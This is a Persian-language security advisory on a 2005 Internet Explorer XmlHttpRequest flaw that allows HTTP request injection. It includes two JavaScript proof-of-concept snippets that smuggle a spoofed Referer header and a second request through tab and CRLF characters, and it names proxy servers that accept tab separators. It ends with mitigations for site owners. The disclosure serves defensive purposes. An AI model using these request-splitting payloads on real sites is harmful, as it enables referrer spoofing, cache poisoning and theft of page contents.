صفحه اول > راهنماییها

 

شکاف امنیتی ناشی از اعتبار سنجی نامناسب پارامترهای ارسالی به

 XmlHttpRequest در Internet Explorer

 

تاریخ انتشار:                 24 سپتامبر 2005        12:00AM

تاریخ به روزرسانی:       28 سپتامبر 2005        11:10PM

CVE:                             CVE-MAP-NOMATCH

کاشف:                         Amit Klein

میزان خطر:                  ---

 

سیستمهای تحت تاثیر:

Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home
Microsoft Windows XP Professional

چکیده:

به علت وجود نقطه ضعفی در برنامه Internet Explorer که ناشی از بررسی نامناسب پارامترهای ارسالی به XmlHttpRequest است، اجازه تزریق کردن تقاضاهای HTTP دلخواه را به Internet Explorer ممکن می سازد.

XmlHttpRequest یک شی Javascript است (یکی از اجزای هسته AJAX). این شی به کد Javascript سمت Client اجازه فرستادن تقاضاهای Raw HTTP به میزبان اصلی و همچنین دستیابی به بدنه پاسخ های برگشتی (Responses) به صورت Raw Form را فراهم می کند.

یک نفوذگر با سوء استفاده از این نقطه ضعف می تواند علاوه بر فریب دادن یک وب سایت، یک مرورگر را مجبور به تقاضا کردن یک سایت روی ماشین محلی یا  روی میزبان دیگری غیر از ماشین محلی نماید، البته به شرطی که از یک forwarding proxy server استفاده شده باشد. سپس نفوذگر با جلوگیری کردن از دریافت پاسخ توسط مرورگر می تواند اطلاعات حساس را سرقت کند و از این اطلاعات در حملات بعدی استفاده نماید. یک حمله موفق می تواند پیامدهای گوناگونی داشته باشد مانند حملات HTTP Request Smuggling یا حمله Man in the Middle (که طی آن هکر به ترافیک بین کاربر و یک سایت دیگر نفوذ می کند)و یا فاش سازی اطلاعات.

 

توضیح:

بطور کلی یک نفوذگر می تواند با سوء استفاده از این نقطه ضعف از تکنیکهای زیر استفاده نماید:

·                       Referrer spoofing

·                       HTTP Request Smuggling , HTTP Response Splitting and Web cache poisoning

·                       Accessing content / web-scanning

 

در اینجا فقط تکنیک اصلی یعنی Referrer Spoofing بررسی می شود.

 

بازیابی یک صفحه با استفاده از یک Referrer Spoofing:

مفروضات زیر را در نظر بگیرید: وب سایت نفوذگر www.attacker.site و وب سایت مقصد  www.target.site است. از Forwarding Proxy Server استفاده می شود و یا اینکه سایت نفوذگر و مقصد بطور مجازی روی آدرس IP یکسانی میزبانی می شوند.

Client یک صفحه که حاوی کد Javascript  است را از سایت www.attacker.site  دریافت می کند. این کد برای پیاده سازی حمله نوشته و طراحی شده است. کد Javascript مذکور با exploit کردن شی XmlHttpRequest (که از طریق ارسال پارامترهای خاصی به آن می باشد) موجب شروع حمله با توجه به تکنیک بکار رفته در کد Javascript می شود.

کد Javascript در زیر (به عنوان بخشی از صفحه دریافت شده از سایت www.attacker.site) می تواند توسط Internet Explorer برای فرستادن یک Referrer معتبر و خواندن محتویات صفحات وب استفاده شود (این مثال روی Internet Explorer 6.0 SP2 تست و اجرا شده است و فرض بر این است که از forwarding proxy server استفاده می شود).

 

 

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();

alert(x.responseText);

 

توجه کنید که در خطوط تقاضای HTTP از Horizontal Tab (ASCII 0x09) به جای  Space (ASCII 0x20) استفاده شده است که در HTTP/1.1 RFC (RFC 2616) به طور صریح غیر مجاز شناخته شده است، ولی هنوز خیلی از سرورها علاوه بر مجاز شمردن چنین نحوی >(Syntax) در تقاضاهای فرستاده شده Horizontal Tab را به Space تبدیل می کنند.

در زیر اسامی تعدادی پروکسی سرور که اجازه استفاده از Horizontal Tab را به عنوان یک جداساز در خط مربوط به تقاضای HTTP می دهند، لیست شده است:

- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0
 

توجه داشته باشید که تکنیک حمله HTTP Request Splitting در این وضعیت اتفاق خواهد افتاد یعنی کد Javascript بالا را می توان برای پیاده سازی حمله HTTP Request Splitting بکار برد. در این حالت نفوذگر مرورگر را مجبور به ارسال دو تقاضای HTTP به جای یک تقاضا می کند. در واقع در این تکنیک با هدرهای HTTP سروکار داریم.

 

فرض بعدی این بود که سایتهای www.attacker.site و www.target.site به طور مجازی روی آدرس IP یکسانی میزبانی می شوند. در این حالت کد زیر می تواند مورد استفاده قرار گیرد:

 

 

 

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\t
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET
\t/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();

alert(x.responseText);

 

نتیجه این کد ارسال دو تقاضا به سرور است که پاسخ تقاضای اول توسط مرورگر به XmlHttpRequest برگشت داده می شود .سپس کد مذکور می تواند صفحه برگشت داده شده را در پنجره html (مثلا document.body.innerHTML=...) جاسازی نماید. نکته اینکه کد Javascript مخرب می تواند ابتدا صفحه برگشت داده شده را بررسی و دستکاری نماید. به عنوان مثال میتواند موارد امنیتی ازقبیل “if((top.location!='http://www.target.site/...')"  را حذف کند.

 

کد Exploit:

در بخش توضیح کدهای نمونه آورده شده است.

 

راه حل:

تا کنون هیچ اصلاحیه ای در رابطه با این شکاف امنیتی گزارش نشده است. به عنوان پیشنهاد از صاحبان سایتها تقاضا میشود به موارد زیر توجه کامل داشته باشند:

-          استفاده از SSL

-          استفاده نکردن از virtual hosting با حوزه های غیرقابل اعتماد

-          اعتماد نکردن به کد سمت client برای جلوگیری کردن از cloning/MITM

-          اعتماد نکردن به Referrer

-          تنظیم کردن صریح host/domain در cookie

 

منابع:

Technet Security (Microsoft)

http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf

 

نویسنده:

محسن شریفی